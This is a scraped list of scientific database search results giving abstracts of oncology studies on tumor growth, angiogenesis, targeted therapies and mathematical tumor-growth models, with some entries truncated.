Science.gov (United States) Mondal, Goutam; Barui, Sugata; Saha, Soumen; Chaudhuri, Arabinda 2013-12-28 Increasing number of Phase I/II clinical studies have demonstrated clinical potential of curcumin for treatment of various types of human cancers. Despite significant anti-tumor efficacies and bio-safety profiles of curcumin, poor systemic bioavailability is retarding its clinical success. Efforts are now being directed toward developing stable formulations of curcumin using various drug delivery systems. To this end, herein we report on the development of a new tumor vasculature targeting liposomal formulation of curcumin containing a lipopeptide with RGDK-head group and two stearyl tails, di-oleyolphosphatidylcholine (DOPC) and cholesterol. We show that essentially water insoluble curcumin can be solubilized in fairly high concentrations (~500 μg/mL) in such formulation. Findings in the Annexin V/Propidium iodide (PI) binding based flow cytometric assays showed significant apoptosis inducing properties of the present curcumin formulation in both endothelial (HUVEC) and tumor (B16F10) cells. Using syngeneic mouse tumor model, we show that growth of solid melanoma tumor can be inhibited by targeting such liposomal formulation of curcumin to tumor vasculature. Results in immunohistochemical staining of the tumor cryosections are consistent with tumor growth inhibition being mediated by apoptosis of tumor endothelial cells. Findings in both in vitro and in vivo mechanistic studies are consistent with the supposition that the presently described liposomal formulation of curcumin inhibits tumor growth by blocking VEGF-induced STAT3 phosphorylation in tumor endothelium. To the best of our knowledge, this is the first report on inhibiting tumor growth through targeting liposomal formulation of curcumin to tumor vasculatures. 8. Strange Attractor in Immunology of Tumor Growth CERN Document Server Voitikova, M 1997-01-01 The time delayed cytotoxic T-lymphocyte response on the tumor growth has been developed on the basis of discrete approximation (2-dimensional map). The growth kinetic has been described by logistic law with growth rate being the bifurcation parameter. Increase in the growth rate results in instability of the tumor state and causes period-doubling bifurcations in the immune+tumor system. For larger values of tumor growth rate a strange attractor has been observed. The model proposed is able to describe the metastable-state production when time series data of the immune state and the number of tumor cells are irregular and unpredictable. This metastatic disease may be caused not by exterior (medical) factors, but interior density dependent ones. 9. Mathematical Modeling of Branching Morphogenesis and Vascular Tumor Growth Science.gov (United States) Yan, Huaming Feedback regulation of cell lineages is known to play an important role in tissue size control, but the effect in tissue morphogenesis has yet to be explored. We first use a non-spatial model to show that a combination of positive and negative feedback on stem and/or progenitor cell self-renewal leads to bistable or bi-modal growth behaviors and ultrasensitivity to external growth cues. Next, a spatiotemporal model is used to demonstrate spatial patterns such as local budding and branching arise in this setting, and are not consequences of Turing-type instabilities. We next extend the model to a three-dimensional hybrid discrete-continuum model of tumor growth to study the effects of angiogenesis, tumor progression and cancer therapies. We account for the crosstalk between the vasculature and cancer stem cells (CSCs), and CSC transdifferentiation into vascular endothelial cells (gECs), as observed experimentally. The vasculature stabilizes tumor invasiveness but considerably enhances growth. A gEC network structure forms spontaneously within the hypoxic core, consistent with experimental findings. The model is then used to study cancer therapeutics. We demonstrate that traditional anti-angiogenic therapies decelerate tumor growth, but make the tumor highly invasive. Chemotherapies help to reduce tumor sizes, but cannot control the invasion. Anti-CSC therapies that promote differentiation or disturb the stem cell niche effectively reduce tumor invasiveness. However, gECs inherit mutations present in CSCs and are resistant to traditional therapies. We show that anti-gEC treatments block the support on CSCs by gECs, and reduce both tumor size and invasiveness. Our study suggests that therapies targeting the vasculature, CSCs and gECs, when combined, are highly synergistic and are capable of controlling both tumor size and shape. 10. Clinical significance of assessing Her2/neu expression in gastric cancer with dual tumor tissue paraffin blocks. Science.gov (United States) Ge, Xiaowen; Wang, Haixing; Zeng, Haiying; Jin, Xuejuan; Sujie, Akesu; Xu, Chen; Liu, Yalan; Huang, Jie; Ji, Yuan; Tan, Yunshan; Liu, Tianshu; Hou, Yingyong; Qin, Jing; Sun, Yihong; Qin, Xinyu 2015-06-01 One paraffin block is routinely used for human epidermal growth factor receptor 2 (Her2/neu) immunohistochemistry (IHC) assessment. Here, we investigated if picking 2 paraffin blocks for Her2/neu evaluation on 1 slide is an economical, efficient, and practical method, which may reduce false negativity of Her2/neu IHC assessment due to intratumoral heterogeneity. A total of 251 gastric cancer (GC) patients were divided into a cohort using 1 tumor tissue paraffin block (single-block group, n = 132) and a cohort using dual tumor tissue paraffin blocks (dual-block group, n = 119) when evaluating Her2/neu expression status by IHC. In dual-block group, we combined the results from 2 different paraffin blocks and used the higher one as the final score. The number of IHC 1+, 2+, and 3+ specimens in the single-block group was 31 (23.5%), 40 (30.3%), and 19 (14.4%), respectively. The combined final IHC score in the dual-block group of 1+, 2+, and 3+ was 26 (21.8%), 34 (28.6%), and 23 (19.3%), respectively. Inconsistent Her2/neu expression between blocks was found in 36 (30.3%) cases in the dual-block group. The pooled data in the single-block group and the dual-block group indicated that, when using dual blocks, the Her2/neu-positive (3+) rate of GC was higher compared to that in the single-block group. Our results implied that using dual paraffin blocks to assess Her2/neu expression of GC may help identify more patients with Her2/neu-positive GC who could benefit from targeted therapy, by reducing false-negative rate of Her2 status assessment. This is an efficient, economical, and practical method for Her2/neu evaluation of GC. 11. Tumor growth in a defined microcirculation. Science.gov (United States) Christofferson, R H; Sköldenberg, E G; Nilsson, B O 1997-06-01 The fate of human tumor cells deposited in rat uteri was investigated by light microscopy of histological sections, immunohistochemistry, and scanning electron microscopy of microvascular corrosion casts. The human colonic tumor cell line LS 174 T was used as graft since it can be detected by CEA immunohistochemistry, and spayed nude rats (PVG rnu/rnu) were used as hosts, subjected to different hormonal regimens (no exogenous hormones, medroxyprogesterone acetate, 17-beta-estradiol, or the last two regimens in combination). Intrauterine deposition of a suspension of 2 x 10(6) tumor cells resulted in tumor take in 72% (21/29) of the nude rats. Endometrial growth was verified in only three animals (14%, 3/21). Extraendometrial growth, however, was found in all animals with tumor take. These observations suggest that the endometrium is comparatively resistant to growth of xenografted human colonic tumor cells. The tumor microcirculation consisted of new vessels, giving morphological evidence that tumor growth is dependent on angiogenesis and not on invasion of preexisting vessels. PMID:9236867 12. Quantitation and gompertzian analysis of tumor growth DEFF Research Database (Denmark) Rygaard, K; Spang-Thomsen, M 1998-01-01 to transform the experimental data into useful growth curves. A transformed Gompertz function is used as the basis for calculating relevant parameters pertaining to tumor growth and response to therapy. The calculations are facilitated by use of a computer program which performs the necessary calculations... 13. Targeting the epidermal growth factor receptor in solid tumor malignancies DEFF Research Database (Denmark) Nedergaard, Mette K; Hedegaard, Chris J; Poulsen, Hans S 2012-01-01 The epidermal growth factor receptor (EGFR) is over-expressed, as well as mutated, in many types of cancers. In particular, the EGFR variant type III mutant (EGFRvIII) has attracted much attention as it is frequently and exclusively found on many tumor cells, and hence both EGFR and EGFRvIII have...... to the extracellular part of EGFR, blocking the binding sites for the EGFR ligands, and intracellular tyrosine kinase inhibitors (TKIs) that block the ATP binding site of the tyrosine kinase domain. Besides an EGFRvIII-targeted vaccine, conjugated anti-EGFR mAbs have been used in different settings to deliver lethal...... been proposed as valid targets in many cancer therapy settings. Different strategies have been developed in order to either inhibit EGFR/EGFRvIII activity or to ablate EGFR/EGFRvIII-positive tumor cells. Drugs that inhibit these receptors include monoclonal antibodies (mAbs) that bind... 14. Essential operating principles for tumor spheroid growth OpenAIRE Ropella Glen EP; Engelberg Jesse A; Hunt C Anthony 2008-01-01 Abstract Background Our objective was to discover in silico axioms that are plausible representations of the operating principles realized during characteristic growth of EMT6/Ro mouse mammary tumor spheroids in culture. To reach that objective we engineered and iteratively falsified an agent-based analogue of EMT6 spheroid growth. EMT6 spheroids display consistent and predictable growth characteristics, implying that individual cell behaviors are tightly controlled and regulated. An approach... 15. Amygdalin Blocks Bladder Cancer Cell Growth In Vitro by Diminishing Cyclin A and cdk2 Science.gov (United States) Makarević, Jasmina; Rutz, Jochen; Juengel, Eva; Kaulfuss, Silke; Reiter, Michael; Tsaur, Igor; Bartsch, Georg; Haferkamp, Axel; Blaheta, Roman A. 2014-01-01 Amygdalin, a natural compound, has been used by many cancer patients as an alternative approach to treat their illness. However, whether or not this substance truly exerts an anti-tumor effect has never been settled. An in vitro study was initiated to investigate the influence of amygdalin (1.25–10 mg/ml) on the growth of a panel of bladder cancer cell lines (UMUC-3, RT112 and TCCSUP). Tumor growth, proliferation, clonal growth and cell cycle progression were investigated. The cell cycle regulating proteins cdk1, cdk2, cdk4, cyclin A, cyclin B, cyclin D1, p19, p27 as well as the mammalian target of rapamycin (mTOR) related signals phosphoAkt, phosphoRaptor and phosphoRictor were examined. Amygdalin dose-dependently reduced growth and proliferation in all three bladder cancer cell lines, reflected in a significant delay in cell cycle progression and G0/G1 arrest. Molecular evaluation revealed diminished phosphoAkt, phosphoRictor and loss of Cdk and cyclin components. Since the most outstanding effects of amygdalin were observed on the cdk2-cyclin A axis, siRNA knock down studies were carried out, revealing a positive correlation between cdk2/cyclin A expression level and tumor growth. Amygdalin, therefore, may block tumor growth by down-modulating cdk2 and cyclin A. In vivo investigation must follow to assess amygdalin's practical value as an anti-tumor drug. PMID:25136960 16. Amygdalin blocks bladder cancer cell growth in vitro by diminishing cyclin A and cdk2. Directory of Open Access Journals (Sweden) Jasmina Makarević Full Text Available Amygdalin, a natural compound, has been used by many cancer patients as an alternative approach to treat their illness. However, whether or not this substance truly exerts an anti-tumor effect has never been settled. An in vitro study was initiated to investigate the influence of amygdalin (1.25-10 mg/ml on the growth of a panel of bladder cancer cell lines (UMUC-3, RT112 and TCCSUP. Tumor growth, proliferation, clonal growth and cell cycle progression were investigated. The cell cycle regulating proteins cdk1, cdk2, cdk4, cyclin A, cyclin B, cyclin D1, p19, p27 as well as the mammalian target of rapamycin (mTOR related signals phosphoAkt, phosphoRaptor and phosphoRictor were examined. Amygdalin dose-dependently reduced growth and proliferation in all three bladder cancer cell lines, reflected in a significant delay in cell cycle progression and G0/G1 arrest. Molecular evaluation revealed diminished phosphoAkt, phosphoRictor and loss of Cdk and cyclin components. Since the most outstanding effects of amygdalin were observed on the cdk2-cyclin A axis, siRNA knock down studies were carried out, revealing a positive correlation between cdk2/cyclin A expression level and tumor growth. Amygdalin, therefore, may block tumor growth by down-modulating cdk2 and cyclin A. In vivo investigation must follow to assess amygdalin's practical value as an anti-tumor drug. 17. Triparanol suppresses human tumor growth in vitro and in vivo Energy Technology Data Exchange (ETDEWEB) Bi, Xinyu [Department of Abdominal Surgical Oncology, Lab of Abdominal Surgical Oncology, Cancer Hospital, Chinese Academy of Medical Sciences and Peking Union Medical College, Beijing 100021 (China); Han, Xingpeng [Department of Pathology, Tianjin Chest Hospital, Tianjin 300051 (China); Zhang, Fang [Zhejiang Provincial Key Laboratory of Applied Enzymology, Yangtze Delta Region Institute of Tsinghua University, Jiaxing 314006, Zhejiang (China); He, Miao [Life Sciences School, Sun Yat-sen University, Guangzhou 510275 (China); Zhang, Yi [Department of Thoracic Surgery, Xuanwu Hospital, Capital Medical University, Beijing 100053 (China); Zhi, Xiu-Yi, E-mail: xiuyizhi@yahoo.com.cn [Department of Thoracic Surgery, Xuanwu Hospital, Capital Medical University, Beijing 100053 (China); Zhao, Hong, E-mail: zhaohong9@sina.com [Department of Abdominal Surgical Oncology, Lab of Abdominal Surgical Oncology, Cancer Hospital, Chinese Academy of Medical Sciences and Peking Union Medical College, Beijing 100021 (China) 2012-08-31 Highlights: Black-Right-Pointing-Pointer Demonstrate Triparanol can block proliferation in multiple cancer cells. Black-Right-Pointing-Pointer Demonstrate Triparanol can induce apoptosis in multiple cancer cells. Black-Right-Pointing-Pointer Proved Triparanol can inhibit Hedgehog signaling in multiple cancer cells. Black-Right-Pointing-Pointer Demonstrated Triparanol can impede tumor growth in vivo in mouse xenograft model. -- Abstract: Despite the improved contemporary multidisciplinary regimens treating cancer, majority of cancer patients still suffer from adverse effects and relapse, therefore posing a significant challenge to uncover more efficacious molecular therapeutics targeting signaling pathways central to tumorigenesis. Here, our study have demonstrated that Triparanol, a cholesterol synthesis inhibitor, can block proliferation and induce apoptosis in multiple human cancer cells including lung, breast, liver, pancreatic, prostate cancer and melanoma cells, and growth inhibition can be rescued by exogenous addition of cholesterol. Remarkably, we have proved Triparanol can significantly repress Hedgehog pathway signaling in these human cancer cells. Furthermore, study in a mouse xenograft model of human lung cancer has validated that Triparanol can impede tumor growth in vivo. We have therefore uncovered Triparanol as potential new cancer therapeutic in treating multiple types of human cancers with deregulated Hedgehog signaling. 18. Stochastic Modelling of Gompertzian Tumor Growth Science.gov (United States) O'Rourke, S. F. C.; Behera, A. 2009-08-01 We study the effect of correlated noise in the Gompertzian tumor growth model for non-zero correlation time. The steady state probability distributions and average population of tumor cells are analyzed within the Fokker-Planck formalism to investigate the importance of additive and multiplicative noise. We find that the correlation strength and correlation time have opposite effects on the steady state probability distributions. It is observed that the non-bistable Gompertzian model, driven by correlated noise exhibits a stochastic resonance and phase transition. This behaviour of the Gompertz model is unaffected with the change of correlation time and occurs as a result of multiplicative noise. 19. Advances in the Researches on the Blocking Effect of Chinese Drugs on Tumors Institute of Scientific and Technical Information of China (English) 2001-01-01 @@ Malignant tumors are caused by multiple carcinogenic factors undergoing several stages. The occurrence and development of tumors may be prevented and blocked if some effective interference factors are brought into play.1 At present, there are two main subjects for the researches, that is, blocking the precancerous lesions and blocking the develop-ment of tumors. The former focuses on the removing of carcinogenic factors and on the chemoprophylaxis of cancer, while the latter on the inhibition of cancer cell infiltration and cancerometastasis. These are summarized as follows. 20. Stochastic model for tumor growth with immunization Science.gov (United States) Bose, Thomas; Trimper, Steffen 2009-05-01 We analyze a stochastic model for tumor cell growth with both multiplicative and additive colored noises as well as nonzero cross correlations in between. Whereas the death rate within the logistic model is altered by a deterministic term characterizing immunization, the birth rate is assumed to be stochastically changed due to biological motivated growth processes leading to a multiplicative internal noise. Moreover, the system is subjected to an external additive noise which mimics the influence of the environment of the tumor. The stationary probability distribution Ps is derived depending on the finite correlation time, the immunization rate, and the strength of the cross correlation. Ps offers a maximum which becomes more pronounced for increasing immunization rate. The mean-first-passage time is also calculated in order to find out under which conditions the tumor can suffer extinction. Its characteristics are again controlled by the degree of immunization and the strength of the cross correlation. The behavior observed can be interpreted in terms of a biological model of tumor evolution. 1. Essential contribution of tumor-derived perlecan to epidermal tumor growth and angiogenesis DEFF Research Database (Denmark) Jiang, Xinnong; Multhaupt, Hinke; Chan, En; 2004-01-01 antibodies, together with immunoelectron microscopy, showed that perlecan distributed around blood vessels was of both host and tumor cell origin. Tumor-derived perlecan was also distributed throughout the tumor matrix. Blood vessels stained with rat-specific PECAM-1 antibody showed their host origin. RT101...... factor. In vivo, antisense perlecan-transfected cells generated no tumors, whereas untransfected and vector-transfected cells formed tumors with obvious neovascularization, suggesting that tumor perlecan rather than host perlecan controls tumor growth and angiogenesis.... 2. Insulin-responsiveness of tumor growth. Science.gov (United States) Chantelau, Ernst 2009-05-01 In October 2008, the 2nd International Insulin & Cancer Workshop convened roughly 30 researchers from eight countries in Düsseldorf/Germany. At this meeting, which was industry-independent like the preceding one in 2007, the following issues were discussed a) association between certain cancers and endogenous insulin production in humans, b) growth-promoting effects of insulin in animal experiments, c) mitogenic and anti-apoptotic activity of pharmaceutic insulin and insulin analogues in in vitro experiments, d) potential mechanisms of insulin action on cell growth, mediated by IGF-1 receptor and insulin receptor signaling, and e) IGF-1 receptor targeting for inhibition of tumor growth. It was concluded that further research is necessary to elucidate the clinical effects of these observations, and their potential for human neoplastic disease and treatment. 3. Therapeutic tumor-specific cell cycle block induced by methionine starvation in vivo. Science.gov (United States) Guo, H; Lishko, V K; Herrera, H; Groce, A; Kubota, T; Hoffman, R M 1993-12-01 The ability to induce a specific cell cycle block selectively in the tumor could have many uses in chemotherapy. In the present study we have achieved this goal of inducing a tumor-specific cell cycle block in vivo by depriving Yoshida sarcoma-bearing nude mice of dietary methionine. Further, we demonstrate that methionine depletion also causes the tumor to eventually regress. The antitumor effect of methionine depletion resulted in the extended survival of the tumor-bearing mice. The mice on the methionine-deprived diets maintained their body weight for the time period studied, indicating that tumor regression was not a function of body weight loss. The data reported here support future experiments utilizing methionine depletion as a target for tumor-selective cell cycle-dependent therapy. 4. Squalamine inhibits angiogenesis and solid tumor growth in vivo and perturbs embryonic vasculature. Science.gov (United States) Sills, A K; Williams, J I; Tyler, B M; Epstein, D S; Sipos, E P; Davis, J D; McLane, M P; Pitchford, S; Cheshire, K; Gannon, F H; Kinney, W A; Chao, T L; Donowitz, M; Laterra, J; Zasloff, M; Brem, H 1998-07-01 The novel aminosterol, squalamine, inhibits angiogenesis and tumor growth in multiple animal models. This effect is mediated, at least in part, by blocking mitogen-induced proliferation and migration of endothelial cells, thus preventing neovascularization of the tumor. Squalamine has no observable effect on unstimulated endothelial cells, is not directly cytotoxic to tumor cells, does not alter mitogen production by tumor cells, and has no obvious effects on the growth of newborn vertebrates. Squalamine was also found to have remarkable effects on the primitive vascular bed of the chick chorioallantoic membrane, which has striking similarities to tumor capillaries. Squalamine may thus be well suited for treatment of tumors and other diseases characterized by neovascularization in humans. PMID:9661892 5. Genetically engineered endostatin-lidamycin fusion proteins effectively inhibit tumor growth and metastasis OpenAIRE Jiang, Wen-guo; Lu, Xin-an; Shang, Bo-yang; Fu, Yan; ZHANG, SHENG-HUA; Zhou, Daifu; Liang LI; Li, Yi; Luo, Yongzhang; ZHEN, YONG-SU 2013-01-01 Background Endostatin (ES) inhibits endothelial cell proliferation, migration, invasion, and tube formation. It also shows antiangiogenesis and antitumor activities in several animal models. Endostatin specifically targets tumor vasculature to block tumor growth. Lidamycin (LDM), which consists of an active enediyne chromophore (AE) and a non-covalently bound apo-protein (LDP), is a member of chromoprotein family of antitumor antibiotics with extremely potent cytotoxicity to cancer cells. The... 6. Numerical simulation of avascular tumor growth Energy Technology Data Exchange (ETDEWEB) Slezak, D Fernandez; Suarez, C; Soba, A; Risk, M; Marshall, G [Laboratorio de Sistemas Complejos, Departamento de Computacion, Facultad de Ciencias Exactas y Naturales, Universidad de Buenos Aires (C1428EGA) Buenos Aires (Argentina) 2007-11-15 A mathematical and numerical model for the description of different aspects of microtumor development is presented. The model is based in the solution of a system of partial differential equations describing an avascular tumor growth. A detailed second-order numeric algorithm for solving this system is described. Parameters are swiped to cover a range of feasible physiological values. While previous published works used a single set of parameters values, here we present a wide range of feasible solutions for tumor growth, covering a more realistic scenario. The model is validated by experimental data obtained with a multicellular spheroid model, a specific type of in vitro biological model which is at present considered to be optimum for the study of complex aspects of avascular microtumor physiology. Moreover, a dynamical analysis and local behaviour of the system is presented, showing chaotic situations for particular sets of parameter values at some fixed points. Further biological experiments related to those specific points may give potentially interesting results. 7. Tumor-host interactions in the gallbladder suppress distal angiogenesis and tumor growth: involvement of transforming growth factor beta1. Science.gov (United States) Gohongi, T; Fukumura, D; Boucher, Y; Yun, C O; Soff, G A; Compton, C; Todoroki, T; Jain, R K 1999-10-01 Angiogenesis inhibitors produced by a primary tumor can create a systemic anti-angiogenic environment and maintain metastatic tumor cells in a state of dormancy. We show here that the gallbladder microenvironment modulates the production of transforming growth factor (TGF)-beta1, a multifunctional cytokine that functions as an endogenous anti-angiogenic and anti-tumor factor in a cranial window preparation. We found that a wide variety of human gallbladder tumors express TGF-beta1 irrespective of histologic type. We implanted a gel impregnated with basic fibroblast growth factor or Mz-ChA-2 tumor in the cranial windows of mice without tumors or mice with subcutaneous or gallbladder tumors to study angiogenesis and tumor growth at a secondary site. Angiogenesis, leukocyte-endothelial interaction in vessels and tumor growth in the cranial window were substantially inhibited in mice with gallbladder tumors. The concentration of TGF-beta1 in the plasma of mice with gallbladder tumors was 300% higher than that in the plasma of mice without tumors or with subcutaneous tumors. In contrast, there was no difference in the plasma levels of other anti- and pro-angiogenic factors. Treatment with neutralizing antibody against TGF-beta1 reversed both angiogenesis suppression and inhibition of leukocyte rolling induced by gallbladder tumors. TGF-beta1 also inhibited Mz-ChA-2 tumor cell proliferation. Our results indicate that the production of anti-angiogenesis/proliferation factors is regulated by tumor-host interactions. PMID:10502827 8. Anti-tumor effect of SLPI on mammary but not colon tumor growth. Science.gov (United States) Amiano, Nicolás O; Costa, María J; Reiteri, R Macarena; Payés, Cristian; Guerrieri, Diego; Tateosian, Nancy L; Sánchez, Mercedes L; Maffia, Paulo C; Diament, Miriam; Karas, Romina; Orqueda, Andrés; Rizzo, Miguel; Alaniz, Laura; Mazzolini, Guillermo; Klein, Slobodanka; Sallenave, Jean-Michel; Chuluyan, H Eduardo 2013-02-01 Secretory leukocyte protease inhibitor (SLPI) is a serine protease inhibitor that was related to cancer development and metastasis dissemination on several types of tumors. However, it is not known the effect of SLPI on mammary and colon tumors. The aim of this study was to examine the effect of SLPI on mammary and colon tumor growth. The effect of SLPI was tested on in vitro cell apoptosis and in vivo tumor growth experiments. SLPI over-expressing human and murine mammary and colon tumor cells were generated by gene transfection. The administration of murine mammary tumor cells over-expressing high levels of SLPI did not develop tumors in mice. On the contrary, the administration of murine colon tumor cells over-expressing SLPI, developed faster tumors than control cells. Intratumoral, but not intraperitoneal administration of SLPI, delayed the growth of tumors and increased the survival of mammary but not colon tumor bearing mice. In vitro culture of mammary tumor cell lines treated with SLPI, and SLPI producer clones were more prone to apoptosis than control cells, mainly under serum deprivation culture conditions. Herein we demonstrated that SLPI induces the apoptosis of mammary tumor cells in vitro and decreases the mammary but not colon tumor growth in vivo. Therefore, SLPI may be a new potential therapeutic tool for certain tumors, such as mammary tumors. PMID:22767220 9. Fractal Dimension and Universality in Avascular Tumor Growth CERN Document Server Ribeiro, Fabiano L; Mata, Angélica S 2016-01-01 The comprehension of tumor growth is a intriguing subject for scientists. New researches has been constantly required to better understand the complexity of this phenomenon. In this paper, we pursue a physical description that account for some experimental facts involving avascular tumor growth. We have proposed an explanation of some phenomenological (macroscopic) aspects of tumor, as the spatial form and the way it growths, from a individual-level (microscopic) formulation. The model proposed here is based on a simple principle: competitive interaction between the cells dependent on their mutual distances. As a result, we reproduce many empirical evidences observed in real tumors, as exponential growth in their early stages followed by a power law growth. The model also reproduces the fractal space distribution of tumor cells and the universal behavior presented in animals and tumor growth, conform reported by West, Guiot {\\it et. al.}\\cite{West2001,Guiot2003}. The results suggest that the universal similar... 10. Vascular endothelial growth factor blocking agents in retinal vein occlusion Directory of Open Access Journals (Sweden) Chris Canning 2008-01-01 Full Text Available This paper summarises the current status of the use of vascular endothelial growth factor (VEGF blocking agents in retinal vein occlusion. There have been no randomised controlled trials comparing this treatment with the current standard treatment (largely laser so the lower grade evidence of single treatment case series and anecdotal reports are discussed. VEGF blockers are good at reducing macular oedema in the short term, do improve visual acuity in many cases, and do not seem to adversely affect the long term revascularisation that is necessary to overcome the vein occlusion. VEGF blocking agents are not used in isolation in this condition - they will remain an adjunct to systemic and other local treatments. The literature was reviewed in online searches of Embase and Ovid and the papers quoted are a representative sample of a larger body of publications. 11. Brain hyaluronan binding protein inhibits tumor growth Institute of Scientific and Technical Information of China (English) 高锋; 曹曼林; 王蕾 2004-01-01 Background Great efforts have been made to search for the angiogenic inhibitors in avascular tissues. Several proteins isolated from cartilage have been proved to have anti-angiogenic or anti-tumour effects. Because cartilage contains a great amount of hyaluronic acid (HA) oligosaccharides and abundant HA binding proteins (HABP), therefore, we speculated that HABP might be one of the factors regulating vascularization in cartilage or anti-angiogenesis in tumours. The purpose of this research was to evaluale the effects of hyaluronan binding protein on inhibiting tumour growth both in vivo and vitro. Methods A unique protein termed human brain hyaluronan (HA) binding protein (b-HABP) was cloned from human brain cDNA library. MDA-435 human breast cancer cell line was chosen as a transfectant. The in vitro underlying mechanisms were investigated by determining the possibilities of MDA-435/b-HABP colony formation on soft agar, the effects of the transfectant on the proliferation of endothelial cells and the expression levels of caspase 3 and FasL from MDA-435/b-HABP. The in vivo study included tumour growth on the chorioallantoic membrane (CAM) of chicken embryos and nude mice. Results Colony formation assay revealed that the colonies formed by MDA-435/b-HABP were greatly reduced compared to mock transfectants. The conditioned media from MDA-435/b-HABP inhibited the growth of endothelial cells in culture. Caspase 3 and FasL expressions were induced by MDA-435/b-HABP. The size of tumours of MDA-435/b-HABP in both CAM and nude mice was much smaller than that of MDA-435 alone. Conclusions Human brain hyaluronan binding protein (b-HABP) may represent a new kind of naturally existing anti-tumour substance. This brain-derived glycoprotein may block tumour growth by inducing apoptosis of cancer cells or by decreasing angiogenesis in tumour tissue via inhibiting proliferation of endothelial cells. 12. Insights from a Novel Tumor Model: Indications for a Quantitative Link between Tumor Growth and Invasion CERN Document Server Deisboeck, T S; Guiot, C; Degiorgis, P G; Delsanto, P P; Deisboeck, Thomas S.; Mansury, Yuri; Guiot, Caterina; Degiorgis, Piero Giorgio; Delsanto, Pier Paolo 2003-01-01 Using our previously developed model we demonstrate here, that (1) solid tumor growth and cell invasion are linked, not only qualitatively but also quantitatively, that (2) the onset of invasion marks the time point when the tumor cell density exceeds a compaction maximum, and that (3) tumor cell invasion, reduction of mechanical confinement and angiogenesis can act synergistically to increase the actual tumor mass towards the level predicted by West et al. universal growth curve. 13. A new ODE tumor growth modeling based on tumor population dynamics International Nuclear Information System (INIS) In this paper a new mathematical model for the population of tumor growth treated by radiation is proposed. The cells dynamics population in each state and the dynamics of whole tumor population are studied. Furthermore, a new definition of tumor lifespan is presented. Finally, the effects of two main parameters, treatment parameter (q), and repair mechanism parameter (r) on tumor lifespan are probed, and it is showed that the change in treatment parameter (q) highly affects the tumor lifespan 14. A new ODE tumor growth modeling based on tumor population dynamics Energy Technology Data Exchange (ETDEWEB) Oroji, Amin; Omar, Mohd bin [Institute of Mathematical Sciences, Faculty of Science University of Malaya, 50603 Kuala Lumpur, Malaysia amin.oroji@siswa.um.edu.my, mohd@um.edu.my (Malaysia); Yarahmadian, Shantia [Mathematics Department Mississippi State University, USA Syarahmadian@math.msstate.edu (United States) 2015-10-22 In this paper a new mathematical model for the population of tumor growth treated by radiation is proposed. The cells dynamics population in each state and the dynamics of whole tumor population are studied. Furthermore, a new definition of tumor lifespan is presented. Finally, the effects of two main parameters, treatment parameter (q), and repair mechanism parameter (r) on tumor lifespan are probed, and it is showed that the change in treatment parameter (q) highly affects the tumor lifespan. 15. Clinical analysis of abdominal aorta block in operation of gynecologic tumor Institute of Scientific and Technical Information of China (English) MU Yu-lan; TANG Chun-sheng; WEN Ze-qing; YIN Fu-bo; LIU Ming 2006-01-01 Objective:To evaluate the clinical effects of the abdominal aorta block in controlling haemorrhage during operations of the gynecologic tumor. Methods: From July 1965 to January 2005, we collected patients (n= 49) of gynecologic tumor complicated with haemorrhage during operations, who were divided into 3 groups: preventive blocking group (PG, n= 12), treatment blocking group (TG, n= 20) used abdominal aorta block technique with sterilized cotton band and silica gel tube, and control group (CG, n=17) which were used the regular haemostatic methods, such as ligature, suture and ribbon gauze packing.During operations, the vital signs including the amount of bleeding and transfusion were measured. Results: Compared with the CG, the amount of bleeding and transfusion in the PG and TG decreased significantly (P<0.01). After using the technique, 32 cases of haemorrhage were controlled completely. All patients finished operation smoothly in the end and the vital signs were stable. The vision field of operation was clear and the operating time was shortened dramatically (3.0 h vs 5.7 h and 3.8 h vs 5.7 h, P<0.01). No complications caused by the block occurred in the post-operation. Conclusion: Lower abdominal aorta block is safe and effective in controlling haemorrhage during operations of the gynecologic tumor. 16. P-selectin-mediated platelet adhesion promotes tumor growth. Science.gov (United States) Qi, Cuiling; Wei, Bo; Zhou, Weijie; Yang, Yang; Li, Bin; Guo, Simei; Li, Jialin; Ye, Jie; Li, Jiangchao; Zhang, Qianqian; Lan, Tian; He, Xiaodong; Cao, Liu; Zhou, Jia; Geng, Jianguo; Wang, Lijing 2015-03-30 Blood platelets foster carcinogenesis. We found that platelets are accumulated in human tumors. P-selectin deficiency and soluble P-selectin abolish platelet deposition within tumors, decreasing secretion of vascular endothelial growth factor and angiogenesis, thereby suppressing tumor growth. Binding of the P-selectin cytoplasmic tail to talin1 triggers the talin1 N-terminal head to interact with the β3 cytoplasmic tail. This activates αIIbβ3 and recruits platelets into tumors. Platelet infiltration into solid tumors occurs through a P-selectin-dependent mechanism. 17. Squalamine and cisplatin block angiogenesis and growth of human ovarian cancer cells with or without HER-2 gene overexpression. Science.gov (United States) Li, Dan; Williams, Jon I; Pietras, Richard J 2002-04-25 Angiogenesis is important for growth and progression of ovarian cancers. Squalamine is a natural antiangiogenic sterol, and its potential role in treatment of ovarian cancers with or without standard cisplatin chemotherapy was assessed. Since HER-2 gene overexpression is associated with cisplatin resistance in vitro and promotion of tumor angiogenesis in vivo, the response of ovarian cancer cells with or without HER-2 gene overexpression to squalamine and cisplatin was evaluated both in tumor xenograft models and in tissue culture. Ovarian cancer cells with or without HER-2 overexpression were grown as subcutaneous xenografts in nude mice. Animals were treated by intraperitoneal injection with control vehicle, cisplatin, squalamine or cisplatin combined with squalamine. At the end of the experiment, tumors were assessed for tumor growth inhibition and for changes in microvessel density and apoptosis. Additional in vitro studies evaluated effects of squalamine on tumor and endothelial cell growth and on signaling pathways in human endothelial cells. Profound growth inhibition was elicited by squalamine alone and by combined treatment with squalamine and cisplatin for both parental and HER-2-overexpressing ovarian tumor xenografts. Immunohistochemical evaluation of tumors revealed decreased microvessel density and increased apoptosis. Although HER-2-overexpressing tumors had more angiogenic and less apoptotic activity than parental cancers, growth of both tumor types was similarly suppressed by treatment with squalamine combined with cisplatin. In in vitro studies, we found that squalamine does not directly affect proliferation of ovarian cells. However, squalamine significantly blocked VEGF-induced activation of MAP kinase and cell proliferation in human vascular endothelial cells. The results suggest that squalamine is anti-angiogenic for ovarian cancer xenografts and appears to enhance cytotoxic effects of cisplatin chemotherapy independent of HER-2 tumor status 18. Nanoelectroablation of Murine Tumors Triggers a CD8-Dependent Inhibition of Secondary Tumor Growth. Directory of Open Access Journals (Sweden) Richard Nuccitelli Full Text Available We have used both a rat orthotopic hepatocellular carcinoma model and a mouse allograft tumor model to study liver tumor ablation with nanosecond pulsed electric fields (nsPEF. We confirm that nsPEF treatment triggers apoptosis in rat liver tumor cells as indicated by the appearance of cleaved caspase 3 and 9 within two hours after treatment. Furthermore we provide evidence that nsPEF treatment leads to the translocation of calreticulin (CRT to the cell surface which is considered a 